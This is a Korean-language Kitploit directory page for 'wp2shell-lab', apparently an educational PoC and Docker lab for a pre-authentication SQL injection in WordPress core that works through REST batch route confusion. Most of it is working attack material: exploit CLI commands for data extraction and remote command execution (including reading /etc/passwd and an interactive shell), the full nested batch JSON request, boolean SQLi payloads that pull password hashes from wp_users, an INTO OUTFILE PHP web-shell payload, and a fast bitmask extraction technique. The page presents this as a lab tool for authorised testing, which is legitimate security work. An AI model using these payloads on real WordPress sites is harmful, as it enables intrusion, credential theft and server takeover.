Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
wp2shell-lab — CVE-2026-63030 + CVE-2026-60137을 위한 교육용 PoC + 랩: REST 배치 라우트 혼동을 통한 WordPress 코어 사전 인증 SQLi | Kitploit
도구/GitHubGitHub/47cid/wp2shell-lab
Static AnalysisVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationPayload DevelopmentLabs & Practice
GitHub47cid/wp2shell-lab

wp2shell-lab

1421개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-63030 + CVE-2026-60137을 위한 교육용 PoC + 랩: REST 배치 라우트 혼동을 통한 WordPress 코어 사전 인증 SQLi

저장소 보기

wp2shell-lab

CVE-2026-63030 + CVE-2026-60137에 대한 교육용 PoC 및 랩: REST 배치 라우트 혼동을 통한 WordPress 코어 사전 인증 SQL 인젝션.

Adam Kues(Searchlight Cyber / Assetnote)가 발견했습니다. WordPress 6.9.5 / 7.0.2에서 수정되었습니다.

빠른 시작

root@kitploit:~
# bring up the vulnerable lab
cd docker && ./setup.sh
cd ..

# detect
python3 -m exploit check http://localhost:8888
python3 -m exploit check http://localhost:8888 --confirm-sqli

# extract data (fast mode, default)
python3 -m exploit extract http://localhost:8888 --preset fingerprint
python3 -m exploit extract http://localhost:8888 --preset users

# extract data (blind mode, for comparison)
python3 -m exploit extract http://localhost:8888 --mode blind --preset fingerprint

# custom SQL query
python3 -m exploit extract http://localhost:8888 --query "SELECT @@version"

# RCE (requires FILE privilege, the lab grants it)
python3 -m exploit rce http://localhost:8888 --cmd "id"
python3 -m exploit rce http://localhost:8888 --cmd "cat /etc/passwd"
python3 -m exploit rce http://localhost:8888 -i   # interactive shell

# proxy through Burp
python3 -m exploit extract http://localhost:8888 --proxy http://127.0.0.1:8080

# tear down
cd docker && ./setup.sh down

분석

1단계: 배치 엔드포인트에는 인증이 없음

POST /wp-json/batch/v1은 여러 REST API 호출을 하나의 HTTP 요청으로 묶습니다. 자체적인 인증 검사는 없습니다. 보안은 각 하위 요청의 권한 콜백(permission callback)에 위임됩니다.

2단계: 디싱크

serve_batch_request_v1()은 두 개의 병렬 배열을 생성합니다:

  • $matches[]는 각 하위 요청을 **디스패치(dispatch)**할 핸들러를 추적합니다
  • $validation[]는 각 하위 요청이 검증을 통과했는지 추적합니다

디스패치 시 두 배열을 동일한 오프셋으로 인덱싱합니다. 버그: 하위 요청의 경로가 wp_parse_url()에서 실패하면 WP_Error가 $validation에는 푸시되지만 $matches에는 푸시되지 않습니다. 이로 인해 $matches가 하나씩 밀리면서 이후의 각 하위 요청이 잘못된 핸들러로 디스패치됩니다.

3단계: 이중 중첩

디싱크는 두 번 사용됩니다.

외부 배치(Outer batch). 본문에 내부 배치를 담은 /wp/v2/posts 요청이 배치 핸들러(자기 호출)로 디스패치됩니다. 이 요청은 posts 요청으로 검증되었기 때문에 내부 requests 배열은 배치 스키마에 대해 전혀 검사되지 않았습니다. 이로 인해 메서드 허용 목록(allowlist)을 우회하고 내부 하위 요청이 GET을 사용할 수 있습니다.

내부 배치(Inner batch). /wp/v2/categories?author_exclude=<SQLI> 요청이 posts get_items() 핸들러로 디스패치됩니다. categories 스키마에는 author_exclude가 정의되어 있지 않으므로 검증을 그대로 통과합니다. 그러나 posts get_items()는 이를 WP_Query::author__not_in에 매핑하며, 여기서 값은 SQL에 원시(raw)로 삽입됩니다.

4단계: SQL 인젝션

취약한 WP_Query 코드는 author__not_in이 이미 배열인 경우에만 삭제(sanitize)했습니다:

root@kitploit:~
// PRE-FIX (vulnerable)
if (is_array($query_vars['author__not_in'])) {
    $query_vars['author__not_in'] = array_map('absint', ...);  // sanitize
}
$author__not_in = implode(',', (array) $query_vars['author__not_in']);
$where .= " AND post_author NOT IN ($author__not_in) ";        // raw interpolation

문자열 값은 is_array() 검사를 완전히 우회합니다. (array) 캐스트는 삭제 없이 값을 감쌀 뿐입니다.

5단계: 활용 방법

데이터베이스 읽기 (영향을 받는 모든 사이트):

root@kitploit:~
author_exclude = 0) AND (ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)) > 80)-- -

부울 오라클(Boolean oracle): posts가 반환되면 true, 비어 있으면 false입니다. 문자당 이진 탐색을 수행합니다.

파일 쓰기 (MySQL FILE 권한 필요, WordPress 기본값 아님):

root@kitploit:~
author_exclude = 0) AND 1=0 UNION SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/path/shell.php'-- -

배치 디싱크

실제 HTTP 요청:

root@kitploit:~
{
  "requests": [
    {"method": "POST", "path": "http://"},
    {"method": "POST", "path": "/wp/v2/posts", "body": {
      "requests": [
        {"method": "POST", "path": "http://"},
        {"method": "POST", "path": "/wp/v2/categories?author_exclude=<SQLI>",
         "body": {"name": "x", "orderby": false}},
        {"method": "GET",  "path": "/wp/v2/posts"}
      ]
    }},
    {"method": "POST", "path": "/batch/v1"}
  ]
}

배열이 어떻게 어긋나는지:

serve_batch_request_v1()은 두 개의 루프에서 하위 요청을 처리합니다. 첫 번째 루프는 모든 하위 요청을 검증하고 $matches[]와 $validation[]을 생성합니다. 두 번째 루프는 $matches[$i]를 핸들러로 사용하여 각 하위 요청을 디스패치합니다. 프라이머(primer)의 오류가 $matches에 없기 때문에 두 번째 루프는 각 요청을 잘못된 핸들러와 짝지어 줍니다.

root@kitploit:~
POST /?rest_route=/batch/v1  (anonymous, no auth)
|
v
THE REQUEST YOU SEND
+--------------------------------------------------------------+
|                                                              |
|  Loop 1 (validate):                                          |
|    [0] "http://"          -> wp_parse_url fails              |
|    [1] POST /wp/v2/posts  -> match: posts_handler            |
|    [2] POST /batch/v1     -> match: batch_handler            |
|                                                              |
|  $validation:  [ error,  OK(posts),     OK(batch)    ]       |
|  $matches:     [         posts_handler, batch_handler ]      |
|                 ^                                            |
|                 error skipped in $matches                    |
|                                                              |
|  Loop 2 (dispatch):                                          |
|    i=0: error -> skip                                        |
|    i=1: POST /posts  uses $matches[1] = batch_handler        |
|         -> posts body executed as a nested batch             |
|    i=2: POST /batch  uses $matches[2] = out of bounds        |
|                                                              |
+--------------------------------------------------------------+
                          |
                          v
NESTED BATCH (serve_batch_request_v1 calls itself on the body above)
+--------------------------------------------------------------+
|                                                              |
|  Loop 1 (validate):                                          |
|    [0] "http://"            -> wp_parse_url fails            |
|    [1] POST /categories     -> match: categories_handler     |
|    [2] GET  /wp/v2/posts    -> match: posts_handler          |
|                                                              |
|  $validation:  [ error,  OK(cats),         OK(posts)    ]    |
|  $matches:     [         categories_handler, posts_handler ] |
|                                                              |
|  Loop 2 (dispatch):                                          |
|    i=0: error -> skip                                        |
|    i=1: POST /categories uses $matches[1] = posts_handler    |
|         -> categories request handled by posts get_items()   |
|         -> author_exclude not in cats schema, unsanitized    |
|         -> posts maps it to WP_Query::author__not_in         |
|         -> SQL INJECTION                                     |
|                                                              |
+--------------------------------------------------------------+

X-WP-Total 비트마스크 오라클을 통한 고속 추출

기존 PoC는 블라인드 부울 추출을 사용합니다: HTTP 요청당 1비트, 비밀번호 해시 하나에 약 224개의 요청이 필요합니다. 이 저장소는 두 가지 기법을 결합하여 약 75배 더 빠른 추출을 제공합니다.

X-WP-Total 오라클. WordPress는 게시물 쿼리에 SQL_CALC_FOUND_ROWS를 추가하고 그 개수를 X-WP-Total 응답 헤더에 넣습니다. PHP가 UNION 행을 응답 본문에서 걸러내더라도 SQL 수준에서는 개수에 포함됩니다. 조건부 UNION은 개별 비트를 인코딩합니다:

root@kitploit:~
0) AND 1=0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 1) > 0   -- bit 0
UNION SELECT 1 WHERE (ASCII(SUBSTRING((...),1,1)) & 2) > 0   -- bit 1
...                                                            -- bits 2-6
-- -

X-WP-Total = 0이면 비트가 설정되지 않은 것이고, 1이면 비트가 설정된 것입니다. 7개의 탐색 = ASCII 문자 하나입니다.

무제한 내부 배치. 외부 배치는 스키마를 통해 maxItems: 25를 검증합니다. 라우트 혼동이 이를 우회합니다: 내부 배치는 크기 검사 없이 재귀적으로 실행됩니다. 여러 문자에 대한 7개의 비트 탐색은 모두 하나의 요청에 담을 수 있습니다.

16문자 x 7비트 = 요청당 112개의 탐색. 34자 phpass 해시는 약 224개의 요청 대신 약 3개의 요청으로 처리됩니다.

root@kitploit:~
$ python3 -m exploit extract http://target --mode blind --preset fingerprint
[*] using blind boolean oracle (binary search, 1 bit per request)
[+] MySQL version: 8.0.46
[+] Database user: wordpress@%
[+] Database name: wordpress
[*] 198 requests sent

$ python3 -m exploit extract http://target --preset fingerprint
[*] using X-WP-Total bitmask oracle (16 chars/request)
[+] MySQL version: 8.0.46
[+] Database user: wordpress@%
[+] Database name: wordpress
[*] 3 requests sent

참고 자료

  • WordPress 7.0.2 릴리스
  • Searchlight Cyber 보안 권고
  • GHSA-ff9f-jf42-662q (라우트 혼동)
  • GHSA-fpp7-x2x2-2mjf (SQLi)
  • Icex0/wp2shell-poc - 블라인드 SQLi + 인증 후 웹셸
  • AdnaneKhan/Wp2Shell-RCE - Docker 랩이 포함된 INTO OUTFILE RCE
  • sergiointel/wp2shell-poc - 최소한의 타이밍 기반 PoC

법적 고지

승인된 보안 테스트 및 교육 목적으로만 사용하세요. 소유했거나 명시적인 서면 테스트 허가를 받은 시스템에 대해서만 사용하십시오.

도구 다운로드